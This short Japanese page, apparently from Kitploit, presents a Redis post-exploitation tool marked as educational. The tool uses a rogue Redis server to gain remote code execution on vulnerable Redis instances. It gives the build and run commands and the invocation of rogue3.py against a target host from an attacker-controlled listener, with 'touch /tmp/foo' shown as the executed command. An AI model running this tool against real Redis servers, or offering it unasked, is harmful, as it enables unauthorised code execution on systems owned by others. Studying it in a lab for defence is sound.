redis-post-exploitation — ポストエクスプロイト用の教育用Redis rogueサーバーツール。悪意のあるRedisサーバーを展開して、脆弱なRedisインスタンスでリモートコード実行と任意のコマンド実行を達成する。 | Kitploit

共有

redis-post-exploitation

教育目的のみ

参考

Rogue Server

https://github.com/knqyf263/redis-rogue-server

ビルド

$ docker-compose build

実行

$ docker-compose up -d
$ docker-compose exec rogue sh

/rogue/redis-rogue-server # python3 rogue3.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo

確認